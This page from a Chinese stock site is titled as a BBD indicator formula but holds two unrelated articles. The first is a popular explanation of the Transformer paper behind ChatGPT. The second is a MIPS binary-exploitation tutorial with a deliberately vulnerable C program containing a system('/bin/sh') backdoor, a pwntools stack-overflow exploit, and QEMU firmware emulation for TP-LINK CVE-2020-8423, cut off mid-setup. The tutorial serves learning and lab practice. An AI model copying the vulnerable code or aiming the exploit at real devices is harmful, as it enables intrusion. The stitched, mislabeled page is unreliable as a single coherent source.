股票行情查询

股票入门基础知识,股票交易手续费,股票大全,股票行情查询

BBD指标公式源码(bbd指标用法)

2023-04-15 17:35分类:股票分析 阅读:

◎来源|智能化学习与思考

输入几个简单的关键词,AI能帮你生成一篇短篇小说甚至是专业论文。最近大火的ChatGPT在邮件撰写、文本翻译、代码编写等任务上强大表现,让埃隆·马斯克都声称感受到了AI的“危险”。ChatGPT的计算逻辑来自于一个名为transformer的算法,它来源于2017年的一篇科研论文《Attention is all your need》。原本这篇论文是聚焦在自然语言处理领域,但由于其出色的解释性和计算性能开始广泛地使用在AI各个领域,成为最近几年最流行的AI算法模型,无论是这篇论文还是transformer模型,都是当今AI科技发展的一个缩影。以此为前提,本文分析了这篇论文的核心要点和主要创新初衷。

缘起

从Transformer提出到“大规模与训练模型” GPT(Generative Pre-Training)的诞生,再到GPT2的迭代标志Open AI成为营利性公司,以及GPT3和ChatGPT的“出圈”;再看产业界,多个重要领域比如生物医疗,智能制造纷纷有以transformer落地的技术产生。在这个浪潮下,我的思考是:

一是,未来很长一段时间在智能化领域,我们都将经历“科研、算力、基础架构、工程、数据、解决方案”这个循环的快速迭代;流动性、创新性短期不会稳定下来,而是会越来越强。我们很难等到科技封装好,把这些知识全部屏蔽掉,再去打磨产品。未来在竞争中获胜的,将是很好地“解决了产品化和科研及工程创新之间平衡”的团队。我们一般理解的研发实际上是工程,但AI的实践科学属性需要团队更好的接纳这种“流动性”。因此对所有从业者或者感兴趣智能化的小伙伴了解全栈知识成了一个刚需。

二是,通过对这篇论文的探讨,可以更直观地理解:在科研端发生了什么,以什么样的速度和节奏发生;哪些是里程碑?是科学界的梅西横空出世,带我们发现真理;哪些是微创新?可能方向明确了,但还有很多空间可以拓展;哪些更像炼金术?仍然在摸索,尚需要很长一段时间,或者一直会保持这个状态。

三是,在AI领域,由于技术原因,更多的论文是开源代码的,一方面,促进了更多人参与进来改进迭代;另一方面,科研跟工程实现无缝连接,一篇论文可以拉动从核心代码到平台,到具体应用很大范围的价值扩散。一篇论文很可能就是一个领域,一条赛道,甚至直接驱动业务价值和客户价值的大幅提升。

四是, AI技术发展有很多领域(感知,认知,感知又分图像、语音、文字等,认知也可以分出很多层次)之前这些领域的算法逻辑存在很大差别,transformer的出现有一定程度上推动各个领域汇聚的迹象,介绍清楚这篇论文,对把握整体可能有些作用。另外ChatGPT属于现象级应用,大家更有直观感受,未来这类应用的体验提升和更新速度只会更快,理解了其背后的逻辑,更有助于我们把握这个趋势。

论文介绍

下面步入正题,开始介绍这篇论文,会涉及一些技术细节及公式,可能还需要仔细看一下(先收藏,留出15-20分钟比较好),相信一旦看进去,你会对AI的理解加深很多。

总体把握

这篇论文的结构非常精炼,提出问题,分析问题,解决问题,给出测试数据。顶刊文章讲究言简意赅,有描述,有代码,有结果;其中最核心的是以下这张图,作者团队提出transformer的核心算法结构:

整篇文章就是围绕这张图来进行解释的,由于篇幅所限,我们聚焦在一条主线上:1.文章想解决主要问题是什么 2.如何解决的 3.从文章提出的解决方案作为一个案例来引发整体思考,因此我们将内容简化,主要关注核心部分。

这张图表达的内容如果理解了,那基本上你掌握了这篇论文85%的内容,也是最关键的部分。

《Attention is all your need》在编写时主要是为了考虑NLP任务,是由几个Google的科研人员一起完成的,其中一个背景是Google也在推广自己的并行计算芯片以及AI TensorFlow开发平台。平台主要功能特点是并行计算,这篇文章的算法也是在最大限度的实现并行计算。我们就以一个简单的例子来把这个算法串一遍。

核心内容

需求是我们需要训练一个模型,进行中文到英文翻译。

背景知识:这个需求要把“翻译:我爱你 to I love you”转置成一个y=f(x)问题,x代表中文,y是英文,我们要通过训练得到f(),一旦训练成功f(),就可以实现翻译。大家拼的就是谁的训练方法更准确,更高效,谁的f()更好用。

之前自然语言处理主要的算法叫RNN(循环神经网络),它主要的实现逻辑是每个“字”计算之后将结果继承给第二个字。算法的弊病是需要大量的串行计算,效率低。而且当遇到比较长的句子时,前面信息很有可能会被稀释掉,造成模型不准确,也就是对于长句子效果会衰减。这是这篇文章致力于要解决的问题,也就是说这篇文章有训练处更好的f()的方法。联想一下ChatGPT可以做论文,感受一下。

在Transformer里,作者提出了将每个字与句子中所有单词进行计算,算出这个词与每个单词的相关度,从而确定这个词在这个句子里的更准确意义。

在此处,要开始进入一些技术细节,在开始之前,我们有必要再熟悉一下机器学习领域最核心的一个概念——“向量”。在数字化时代,数学运算最小单位往往是自然数字。但在AI时代,这个最小单元变成了向量。这是数字化时代计算和智能化时代最重要的差别之一。

举个例子,比如,在银行,判断一个人的信用额度,我们用一个向量来表示

向量是一组数据的集合,也可以想象成在一个超高维度空间里的一个点。一个具体的信用额度向量,就是在8个特征组成的高维空间的一个点。数据在高维空间将展现更多的数学性质比如线性可分,容易让我们抓住更多隐藏的规律。

向量的加减乘除是计算机在进行样本训练是最主要的计算逻辑。

Transformer模型的主要意义就是找到了一个算法,分成三步把一个词逐步定位到了一个高维空间,在这个过程中赋予这个单词比其它算法更优的信息。很多情况下这个高维空间有着不同的意义,一旦这个向量赋予的信息更准确更接近真实情况,后面的机器学习工作就很容易展开。还拿刚才信用额度向量举例子

这两个向量存在于两个不同的向量空间,主要的区别就是前者多了一个向量特征:“年薪”。可以思考一下如果判断一个人的信用额度,“年薪”是不是一个很重要的影响因子?

以上例子还是很简单的,只是增加了一个特征值,在transformer里就复杂很多,它是要把多个向量信息通过矩阵加减乘除综合计算,从而赋予一个向量新的含义。

好,理解了向量的重要性,我们看回transformer的三步走,这三步走分别是:1.编码(Embedding)2. 定位 (Positional encoding)3. 自注意力机制(Self-Attention)。

举个例子,比如,翻译句子Smart John is singing到中文。

首先,要对句子每个词进行向量化。

我们先看“John”这个词,需要先把“John”这个字母排列的表达转换成一个512维度的向量John,这样计算机可以开始认识它。说明John是在这个512维空间的一个点,这是第一步:编码(Embedding)。

再次,第二步: 定位(Positional encoding),利用以下公式(这是这篇论文的创新)

微调一个新的高维空间,生成一个新的向量。

我们不用太担心这个公式,它核心意义是:1.在这个新的向量里面每一位由原来的0和1表示,分别取代成由sin和cos表示,这个目的是可以通过sin和cos的定律,让这个新向量不仅表示John这个单词的意义,还可以表示John在Smart John is singing这个句子的位置信息。如果不理解,可以直接忽略,只要记住第二步是用来在“表达John这个词的向量”中,加入了John在句子中的位置信息。John已经不是一个孤立的词,而是一个具体句子中的一个词,虽然还不知道句子中其他词是什么含义。

如果第一步计算机理解了什么是John,第二步计算机理解了“* John**”。

最后,第三步:自注意力机制(Self-Attention),通过一个Attention(Q,K,V)算法,再次把John放到一个新的空间信息里,我们设为

在这个新向量里,不仅包含了John的含义,John在句子中位置信息,更包含了John和句子中每个单子含义之间的关系和价值信息。我们可以理解,John作为一个词是一个泛指,但Smart John就具体了很多,singing的Smart John就又近了一步。而且Attention (Q,K,V)算法,不是对一个单词周围做计算,是让这个单词跟句子里所有单词做计算。通过计算调整这个单词在空间里的位置。

这种方法,可以在一个超长句子中发挥优势,而且最关键的是一举突破了时序序列的屏障,以前对于图像和NLP算法的划分,很大程度上是由于NLP有很明显的时序特征,即每个单词和下一个以及在下一个有比较明显的时序关系。但Transformer这种算法打破了这种束缚,它更在意一个单词跟句子中每个单词的价值权重。这是Transformer可以用到everywhere的主要原因。

计算过程

具体的计算过程,用翻译句子“我爱你”到“I love you”举例(这句更简单一些)。首先进行向量化并吸收句子位置信息,得到一个句子的初始向量组。

(由于样本每个句子长短不同,所以每个句子都会是一个512*512的矩阵,如果长度不够就用0来代替。这样在训练时,无论多长的句子,都可以用一个同样规模的矩阵来表示。当然512是超参,可以在训练前调整大小。)

接着,用每个字的初始向量分别乘以三个随机初始的矩阵WQ,Wk,Wv分别得到三个量Qx,Kx,Vx。下图以“我”举例。

然后,计算每个单词的attention数值,比如“我”字的attention值就是用“我”字的Q我分别乘以句子中其他单词的K值,两个矩阵相乘的数学含义就是衡量两个矩阵的相似度。然后通过一个SoftMax转换(大家不用担心如何计算),计算出它跟每个单词的权重,这个权重比例所有加在一起要等于1。再用每个权重乘以相对应的V值。所有乘积相加得到这个Attention值。

这个attention数值就是除了“我”字自有信息和位置信息以外,成功的得到了这个句子中每个单词的相关度信息。

大家可以发现,在所有注意力系数的计算逻辑中其实只有每个字的初始矩阵WQ,Wk,Wv是未知数(这三个矩阵是所有文字共享的)。那么我们可以把这个transformer简化成一个关于输入,输出和这个W矩阵的方程:其中X是输入文字信息,Y是翻译信息。

这里有必要再介绍一下机器学习的基础知识:Transformer算法本质上是一个前馈神经网络模型,它的计算基础逻辑,不去管复杂的隐藏层,就是假设Y=f(x)=wx,(目标还是要算出一个f())然后随机设置一个w0,开始计算这个y=w0x的成本函数,然后再把w0变成w1,计算y=w1x的成本函数,以此类推计算出无数w(不是无数,也会收敛),然后比较哪个w的成本函数最小,就是我们训练出来的f()。那么在transformer里,这三个初始矩阵就是那个w0。

再回到transformer,在计算Attention之后,每个单词根据语义关系被打入了新的高维空间这就是Self-attention(自注意力机制)。

但在transformer里,并不是代入了一个空间,而是代入了多个高维空间,叫做多头注意力机制,(文章中没有给出更清晰的理论支持,为什么是多头)

 

主要原因是在训练时效果很好。这也是AI科研论文的一个特点,常常凭借非常高的科研素养和敏感性,发现一些方向,并且通过测试确实有效,但不一定可以给出很完美的理论支撑。这往往也给后续研究者一些可以进一步完善的空间。

事实证明,如何提升Attention(Q,K,V)效率是transformer领域迭代最快的部分。之后的Bert算法提出预训练机制成为了主流,后面会做进一步介绍。

当然,事后我们可以理解是把这个句子中的逻辑关系放到不同的高维空间去训练,目的就是希望抓取更多的信息,这一部分可以更加深刻理解科研人员对空间的应用。

除了以上内容,还有一些技术点比如Mask机制、layer norm、神经网络激函数饱和区控制等,由于篇幅关系以及属于技术细节就不一一介绍了。

如果大家理解了多头自注意力机制,基本已经85%掌握了这篇论文的重要内容,也对还在快速扩展影响力的transformer模型有了一个比较直观的认识。

启发收获

从理论科研进步的角度看

一、Transformer打破了时序计算的逻辑,开始快速出圈,多个AI原本比较独立的领域开始在技术上融合。再往里看,Transformer能打破时序很重要一点是并行计算的算力模式给更复杂的计算带来了性价比上的可能性。算力的进一步提高,必将在AI各细分领域带来融合,更基础设施级别的模型,算法仍将不断推出。AI领域在图像,NLP;感知认知领域的专业分工也会慢慢变模糊。

二、AI科研确实具有一些实验性质。除了核心思想,确实还有很多技术点的解决方向已经明确,但还有很大的提升空间,可以预见围绕transformer周边的微创新会持续加速繁荣。

三、《Attention is all your need》在业内大名鼎鼎,但你要是细看,会发现很多内容也是拿来主义,比如最重要的Attention(Q,K,V)中Query,Key,Value是互联网推荐系统的标配方法论;整个Transformer算法也是一个大的神经网络,算法是在前人基础上一步一步迭代发展,只是这个迭代速度明显在加快。

从理论、算法、架构、工程的角度看

四、AI算法科研领域正经历算法、开源代码、工程、算力的增长飞轮。

下图是顶级刊物上的学术论文中,开放源代码的论文比例,这个数据在这几年以更快的速度在增长。科研过程与工程过程产生越来越大的交集。开源社区和开源文化本身也在推动算法和工程的快速发展。

更多人参与,更多领域的人参与进来,进入门槛随着算力成本、AI基础架构和代码、知识分享的开源逐渐降低,科研与工程的边界也变得模糊,这个就像足球运动的规律,除了足球人口增多,天才球员梅西出现的概率也会增大。

从数据和后续发展的角度看

五、ChatGPT的成功同大量的数据训练功不可没,但除了简单对话互动或者翻译,大篇幅回答甚至论文级别的答案还是极其缺乏样本数据(算法训练需要的样本数据需要清晰度X和Y)。而且Transformer的算法相比其他算法需要更大的数据量,原因在于它需要起始阶段随机产生三个矩阵,一步一步进行优化。除了Transformer以外,另一个技术Bert也是技术发展非常重要的现象级算法。其核心是一个简化的Transformer,Bert不去做从A翻译到B,它随机遮住X里面的一些单词或句子让算法优化对遮住部分的预测。这种思路使得Bert成为了Transformer预训练最好的搭档。

如果通过Bert进行预训练,相当于给矩阵加入了先验知识(之前训练逻辑没有给机器任何提示,规则后者基础知识),提高了正式训练时初始矩阵的准确度,极大地提升了之后transformer的计算效率和对数据量的要求。在现实中,举例来说,如果我想训练国家图书馆图书,之前需要每本书的信息和对这本书的解释,或者中文书对应的英文书。但现在我们可以大量只是训练内容,不需要打标签,之后只需要通过transformer对样本数据进行微调。这就给ChatGPT很大的进步空间,而且可以预见,更多这类大模型会雨后春笋一般快速出现。

六、由于transformer是更高级的神经网络深度学习算法,对数据量有很高要求,这也催生了从小数据如何快速产生大数据的算法,比如GAN对抗网络等。这是AIGC领域的核心技术。解决数据量不足问题,除了更高效率抽象小数据的信息,也多了把小数据补足成大数据的方法,而且这些方法在快速成熟。

七、我们发现在机器学习算法中有大量的超级参数,比如在transformer里多头机制需要几头N,文字变成向量是512还是更多,学习速率等都需要在训练之前提前设置。由于训练时间长,参数复杂,要想遍历更优秀的计算效果需要非常长的摸索时间。这就催生出AutoML,拿Transformer举例,就要很多个路线进行自动化机器学习;比如贝叶斯计算(找到更优参数配置概率);强化学习思路(贪婪算法在环境不明朗情况下迅速逼近最优);另外还有寻求全新训练网络的方法(transformer,RNN,MLP等联合使用排列组合)等。

科研发展强调参数化,工业发展强调自动化,这两者看似统一,但在现实实操过程中往往是相当痛苦矛盾的。这也是开篇说的产品化和科研流动性相平衡的一个重要领域。

 

关于我们

「数字经济先锋号」是成都数联产服科技有限公司旗下数字经济研究交流平台。围绕数字产业、数字基建、数字治理、数字生态等数字应用领域,揭示与记录数字经济发展点滴与脉络。

数联产服是BBD数联铭品集团数字经济智库,产业大数据服务商。数联产服具备全流程大数据治理-分析-决策支撑服务能力,面向各级政府和产业运营机构提供基于大数据的产业经济发展解决方案和综合服务。

 

Mips架构下二进制漏洞入门笔记,最后调试TP-LINK路由器的一个栈溢出漏洞作为练习。内容较多,请耐心阅读。

 

环境搭建

搭建环境:Ubuntu

工具安装

SquashFS:用于Linux内核的只读文件系统

sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev sudo git clone https://github.com/devttys0/sasquatch cd sasquatch && sudo ./build

Binwalk:貌似是目前唯一可靠的解bin包的工具。

sudo apt-get install binwalk

Ghidra:NAS开源的反汇编工具

安装java环境,直接运行ghidraRun.bat(Windows)或者ghidraRun(Linuxs / Mac OS),中途会要求jdk路径(/usr/libexec/java_home -V 获取jdk路径)

sudo ./ghidraRun

官网下载

简单体验了一下这个工具,比起IDA这个工具在函数和变量自动命名上更加有条理,并且反汇编和伪代码自动对应功能用起来也更方便。最重要的是可以反汇编Mips!

环境安装

Qemu安装

sudo apt-get install qemu

交叉编译环境buildroot

sudo apt-get install libncurses5-dev patch wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshot.tar.bz2 tar -jxvf buildroot-snapshot.tar.bz2 cd buildroot/ make clean make menuconfig sudo make

进入menuconfig之后,选择目标架构Mips32(需要注意mips包含大端mips和小端mipsel)。配置结束之后使用make编译工具链即可。

安装完成之后设置环境变量,在/etc/profile结尾加上

export PATH=$PATH:/.../buildroot/output/host/bin;

编译第一个mips程序

#include<stdio.h> #include <stdlib.h> #include <string.h> void backdoor(){ system("/bin/sh"); } void has_stack(char *src) { char dst[20]={0}; strcpy(dst,src); printf("copy successfully"); } void main(int argc,char *argv[]) { has_stack(argv[1]); }

默认编译小端程序。注意需要加-static静态编译,因为我们qemu运行环境并没有包含C标准库。

$ mipsel-linux-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped

编译大端程序。需要加-EB参数,但是仅仅加-EB会导致ld报错,主要原因是ld也需要加-EB参数。所以我们需要编译和链接分开。如果要编译成共享库,上下加上-shared参数。(ld时还是存在问题)

$ mipsel-linux-gcc -EB -c -static vuln.c -o vuln.o $ mipsel-linux-ld vuln.o -EB -o vuln

使用qemu-mipsel运行我们的小端程序

$ qemu-mipsel vuln "123" copy successfully

大端程序可以用H4lo师傅的工具链构造mips编译环境,在里面找到了用apt就能直接安装的交叉编译工具链,以后也不用自己编译了!

sudo apt-get install linux-libc-dev-mipsel-cross sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross sudo apt-get install binutils-mipsel-linux-gnu sudo apt-get install gcc-${VERSION}-mipsel-linux-gnu g++-${VERSION}-mips-linux-gnu

用mips-linux-gnu-gcc编译大端程序

$ mips-linux-gnu-gcc vuln.c -o vuln -static $ file vuln vuln: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a940ead4f05cbe960bbd685229c01695ef7cea38, not stripped

(*)Qemu运行Mips Linux内核

https://people.debian.org/~aurel32/qemu/mips/ 下载两个包

vmlinux内核文件和debian镜像(建议挂代理,否则很慢),建议使用3.2版本内核,老版本内核在gdbserver远程调试时会出现一些问题。并且请注意你下载的是mips还是mipsel版本。

#wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2

使用qemu运行mips debian,账号和密码都是root。

Qemu有主要如下两种运作模式,User Mode和System Mode。

Qemu系统模式命令如下

$ sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic

调试路由器固件的运行环境

测试固件版本::DIR-605L A1 FW v1.13 下载地址

首先用binwalk解包官网下载的固件DIR605LA1_FW113b06.bin

binwalk -e DIR605LA1_FW113b06.bin

搜索boa(web服务程序)并且使用qemu-mips运行。首先复制qemu-mips到当前目录,然后用chroot设置根目录,然后用qemu-mips运行boa。不过出现了Not a direcotry的问题,这里需要用qemu-mips-static来运行。

$ cp $(which qemu-mips) ./ $ sudo chroot qemu-mips ./squashfs-root-0/bin/boa chroot: cannot change root directory to 'qemu-mips': Not a directory 安装qemu-mips-static sudo apt-get install qemu binfmt-support qemu-user-static 改用qemu-mips-static运行 /squashfs-root-0$ cp $(which qemu-mips) ./ /squashfs-root-0$ sudo chroot . ./qemu-mips-static ./bin/boa Initialize AP MIB failed! qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault (core dumped)

运行web服务的/bin/boa程序发生段错误,提示Initialize AP MIB failed!

通过file文件和你想分析,我们可以知道boa文件动态链接到uclibc链接库,uclibc是应用于嵌入式设备的一种小型C运行库,free和malloc的实现和glibc有一定区别,利用手法也有一些不同,当然这是后话暂且不表。

$ file ./bin/boa ./bin/boa: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, corrupted section header size

在Ghidra中搜索Initialize AP MIB failed!,当apmid_init()执行失败了之后就会返回0,导致Web服务启动失败。经过分析apmid_init()来自于动态链接库apmid.so,来自文件根目录下的lib文件夹。又因为,apmid_init()对于我们的测试并没有决定性影响,所以可以考虑用hook的方式,强制让apmid_init()函数值返回1。

iVar1 = apmib_init(); if (iVar1 == 0) { puts("Initialize AP MIB failed!"); }

使用LD_PRELOAD来Hook函数,首先编写如下代码,并且编译成动态共享库。

#include<stdio.h> #include<stdlib.h> int apmib_init() { printf("hook apmib_init()\n"); return 1; }

mips-linux-gnu-gcc -Wall -fPIC -shared apmib.c -o apmib-ld.so

-fPIC 作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code),
则产生的代码中,没有绝对地址,全部使用相对地址,故而代码可以被加载器加载到内存的任意
位置,都可以正确的执行

运行时设置环境变量LD_PRELOAD(优先加载)=”/apmib-ld.so”,但是运行又出了一点问题。

$ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa ./bin/boa: can't load library 'libc.so.6'

默认链接库名为libc.so.6,所以我们这里尝试去复制uclibc的libc.so.0,再次运行,发现hook成功了。当然我发现使用LD_PRELOAD=”libc.so.0”参数也可以解决问题。这里大家可以举一反三一下,思考如何将动态链接的mips elf(我们之前都是编译的静态链接程序)通过qemu的user mode运行起来?

cp lib/libc.so.0 lib/libc.so.6 $ sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./apmib-ld.so" ./bin/boa hook apmib_init() Create chklist file error! Create chklist file error! qemu: uncaught target signal 11 (Segmentation fault) - core dumped Segmentation fault (core dumped)

或者

sudo chroot ./ ./qemu-mips-static -E LD_PRELOAD="./libc.so.0 ./apmib-ld.so" ./bin/boa

不过还是报了两个错,接下来只需要按照原理的思路,继续去分析,写出最终的链接库版本。

#include<stdio.h> #include<stdlib.h> #define MIB_IP_ADDR 170 #define MIB_HW_VER 0x250 #define MIB_CAPTCHA 0x2c1 int apmib_init() { printf("hook apmib_init()\n"); return 1; } int fork(void) { return 0; } void apmib_get(int code,int* value) { switch(code) { case MIB_HW_VER: *value = 0xF1; break; case MIB_IP_ADDR: *value = 0x7F000001; break; case MIB_CAPTCHA: *value = 1; break; } return; }

QEMU chroot进行本地固件调试

漏洞相关

pwntools是一个CTF框架和漏洞利用开发库。它是用Python编写的,旨在用于快速原型开发和开发,旨在使漏洞利用程序编写尽可能简单。pwntools官网

Gdb-Multiarch :能够调试多个架构(包括Mips)的gdb调试工具

apt-get install gdb-multiarch

安装peda插件

git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit

安装pwndbg插件,安装完成之后进入vim ~/.gdbinit将修改插件为pwndbg

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

gdbserver(mips)

可以自己编译mips版本的也可以下载别人编译好的mips版本gdbserver。

git clone https://github.com/rapid7/embedded-tools.git git clone https://github.com/hugsy/gdb-static git cloen https://github.com/akpotter/embedded-toolkit

qemu和gdb调试

用户模式调试

$ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000

gdb命令

因为mips架构下peda插件无法正常运行,所以需要复习一下gdb的一些基础命令

break 下断点 delete 删除断点 continue 运行到下一个断点 backtrace 回溯堆栈调用信息 info 输出信息 比如 info f输出frame信息,info locals输出当前栈所有局部变量 info registers输出寄存器内容 输出命令x/20i 输出数据(64位格式)x/20xw 输出数据(32位格式)x/20xg

ROPgadgets

$ git clone https://github.com/JonathanSalwan/ROPgadget.git && cd ROPgadget $ sudo pip install capstone $ python setup.py install $ ROPgadget

Mipsrop

将下载好的python脚本放入ida的plugins目录

https://github.com/tacnetsol/ida/blob/master/plugins/mipsrop/mipsrop.py https://github.com/SeHwa/mipsrop-for-ida7 #ida7

 

MIPS指令集

简介:MIPS是一种采取精简指令集(RISC)的指令集架构,是一种高性能的嵌入式CPU架构,广泛被使用在许多电子产品、网络设备、个人娱乐设备与商业设备上(比如龙芯),在路由器领域也被广泛应用。

Mips常用命令

命令格式用途lwlw R1, 0(R2)从存储器中读取一个word存储(Load)到register中swsw R1, 0(R2)把一个word从register中存储(store)到存储器中addiuaddiu R1,R2,#3将一个立即数#3加上R2内容之后存放到目标地址R1oror R1,R2,R3两个寄存器内容相或jalrjalr R1使用寄存器的跳转指令

这里只列举了部分比较典型的几类指令,不过已经足够理解Mips的栈溢出了。

Mips下寄存器的功能

REGISTERNAMEUSAGE$0$zero常量0(constant value 0)$1$at保留给汇编器(Reserved for assembler)$2-$3$v0-$v1函数调用返回值(values for results and expression evaluation)$4-$7$a0-$a3函数调用参数(arguments)$8-$15$t0-$t7暂时的(或随便用的)$16-$23$s0-$s7保存的(或如果用,需要SAVE/RESTORE的)(saved)$24-$25$t8-$t9暂时的(或随便用的)$28$gp全局指针(Global Pointer)$29$sp堆栈指针(Stack Pointer)$30$fp帧指针(Frame Pointer)$31$ra返回地址(return address)

MIPS特点:

  • MIPS和MIPSEL是两种架构MIPS是大端序、MIPSEL是小端序。一般来说大端序列是主流的(和x86和arm相反),不过很多CTF题目都是小端序的。(大端调试需要在gdb和pwntools都特别设置,否则默认小端)
  • 不支持NX(即使编译选项添加了也没有用)不支持NX即函数的栈/bss都是可执行的,当我们的写入栈中的shellcode能够被执行,大大降低了利用难度。
  • 叶子函数和非叶子函数在MIPS体系架构下,函数分为叶子函数和非叶子函数。MIPS函数的调用过程与x86不同,x86中函数A调用函数B时,会将A函数的地址压入堆栈中,等到函数B执行完毕返回A函数时候,再从堆栈中弹出函数A的地址。而MIPS中,如果是叶子函数,与x86是不同的,函数的返回地址是不会压入栈中的,而是会直接存入寄存器$ra中。如果是非叶子函数(即函数中还调用了其他函数),则和x86类似,将地址存入栈中。另外Mips是没有栈底指针的,只有一个$sp指向栈顶,并且不会像x86那样通过pop或者push调整指针,而是采用偏移寻址来访问变量。非叶子函数如图所示,在函数头部会将调用函数的返回地址即$ra存放在栈底(偏移4字节),而在函数快结束时会重新将该值取去出来,放入ra。在这个间段内,如果覆盖了函数栈底,就能够控制程序的流程。 而在叶子函数如下图所示,从函数被调用开始到函数jr ra返回调用函数,数据一直都在$ra寄存器中,所以理论上是无法利用的。但是如果缓冲区溢出的足够多,足够越过本函数的栈底,直到覆盖到调用函数的栈底,那么也是能够利用的。
  • 内存中的数据访问(store/load)必须严格对齐(至少4字节)
  • 流水线效应:本应顺序执行的几条指令同时执行,只不过处于不同的执行阶段(一般指令执行阶段包括:取指、间指、执行、中断)如下图所示,参考二次重叠执行方式,第一条指令在执行时候,第二条指令在分析,第三条指令在取指。举个栗子,流水线会在跳转指令(jal)导致分支延迟效应,任何一个分支跳转语句后面的那条语句叫做分支延迟槽。当它刚把要跳转到的地址填充好还没完成本条指令时,分支语句后面的那个指令(第三条指令)就执行了。所以下面strrchr函数的参数($a0)实际上来自于$0 而不是来自于$2。这是在看Mips汇编的时候需要注意的。mov $a0,$s2 jalr strrchr //arg $a0 mov $a0,$s0
  • 缓存不一致性(cache incoherency):指令Cache和数据Cache两者的同步需要一个时间来同步。需要调用Sleep来让shellcode从数据Cache刷新到指令Cache,否则会执行失败,不能像x86架构下直接跳转到shellcode,而是需要构造一条ROP链接,先调用sleep,然后在跳转到shellcode。

栈溢出实例

还是用我们一开始的vuln程序进行溢出

qemu运行

qemu-mipsel -g 9000 vuln aaaaaa

gdb远程调试

$ qemu-mipsel -g 9000 vuln $ gdb-multiarch -q (gdb) target remote 127.0.0.1:9000

对has_stack函数下断点。首先查看strcpy的两个参数,首先是strcpy的src,lw a1,56(s8)即从s8寄存器(实际上值和sp是相同的,都是指向栈顶)数据偏移56(+56)的数据写入寄存器a1,即通过s8+56偏移可以获得地址0x76fff2c7,这个地址即存放我输入的aaaa数据。然后我们来看dest,即发生写入的地址,这个参数默认被放在a0里,即s8偏移24位。这样我们就能够计算需要多少数据能覆盖缓冲区了。

然后让我们运行到strcpy结束,能够看到我们写入的数据(sp偏移24)。而我们知道返回地址是sp偏移4位,因为这条汇编代码 004003e8 34 00 bf af sw ra,local_4(sp),所以我们只需要写入20+4字节数据就能覆盖返回地址。

即下图所示的位置。

经过实际测试我们输入28+4个字节能够覆盖到返回地址,下图中也显示程序的流程被我们所控制。

接下来让我们写一个简单的exploit,运行exp就能获得shell(不过不是qemu里面的shell,而是系统的shell,这点很奇怪,也许是qemu用户模式并没有挂文件系统和内核的缘故)

from pwn import * context.binary = "vuln" back_door=0x0400390 payload=p32(0x12345678)*7+p32(back_door) print(payload) io=process(argv=["qemu-mipsel", "./vuln" , payload]) #context.log_level='Debug' io.interactive()

这里贴上一个链接,方便指令集查阅https://blog.csdn.net/gujing001/article/details/8476685

 

CVE-2020-8423

漏洞设备:TP-LINK TL-WR841N V10

漏洞原因:栈溢出

CVE-2020-8423是TP-LINK路由器中http服务在解析用户HTTP头中字符串没有设置正确的缓冲区大小而导致的栈溢出。

配置运行环境

因为手头没有真机,所以我们选择用qemu来模拟路由器。

Qemu System模式运行

首先下载路由器对应版本的固件,然后使用binwalk对固件进行解压。

binwalk -Me TL-WR841N_V10_150310.zip cd _TL-WR841N_V10_150310.zip.extracted/_wr841nv10_wr841ndv10_en_3_16_9_up_boot\(150310\).bin.extracted/squashfs-root/

首先我们需要桥接qemu,使得我们能够传输我们的文件系统squashfs-root到虚拟机中。这部分比较麻烦而且容易忘记,所以记录一下。启动系统用下面的命令就可以了(这个固件是32位的,请不要用64位qemu运行)。如果启动不起来或者很慢,重新下一下qcow2,可能之前的某些操作把镜像弄坏了。

sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-2.6.32-5-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic #更换内核(wget https://people.debian.org/\~aurel32/qemu/mips/vmlinux-3.2.0-4-4kc-malta) sudo qemu-system-mips -M malta -kernel /home/migraine/Documents/vmlinux-3.2.0-4-4kc-malta -hda /home/migraine/Documents/debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic 映射端口 -redir tcp:80::8080

配置桥接

我们需要将文件系统传入虚拟机中然后运行固件,为了能让qemu和宿主机传输文件,先要配置桥接网络(参考链接)

1.配置桥接网卡

安装bridge-utils和uml-utilities

sudo apt-get install bridge-utils sudo apt-get install uml-utilities

然后修改/etc/network/interfacces为

auto lo iface lo inet loopback auto eth0 iface eth0 inet manual up ifconfig eth0 0.0.0.0 up auto br0 iface br0 inet dhcp bridge_ports eth0 bridge_stp off bridge_maxwait 1

编辑/etc/qemu-ifup,使qemu在启动中自动将网卡(Default:tap0/tap1)加入到桥接网卡。这是关键的一步。

#!/bin/sh echo "Executing /etc/qemu-ifup" echo "Bringing up $1 for bridged mode..." sudo /sbin/ifconfig $1 0.0.0.0 promisc up echo "Adding $1 to br0..." sudo /sbin/brctl addif br0 $1 #sudo ifconfig br0 10.211.55.6/24 sleep 3

重启后我们主机的ip会多一个桥接。

2.配置桥接网卡的地址

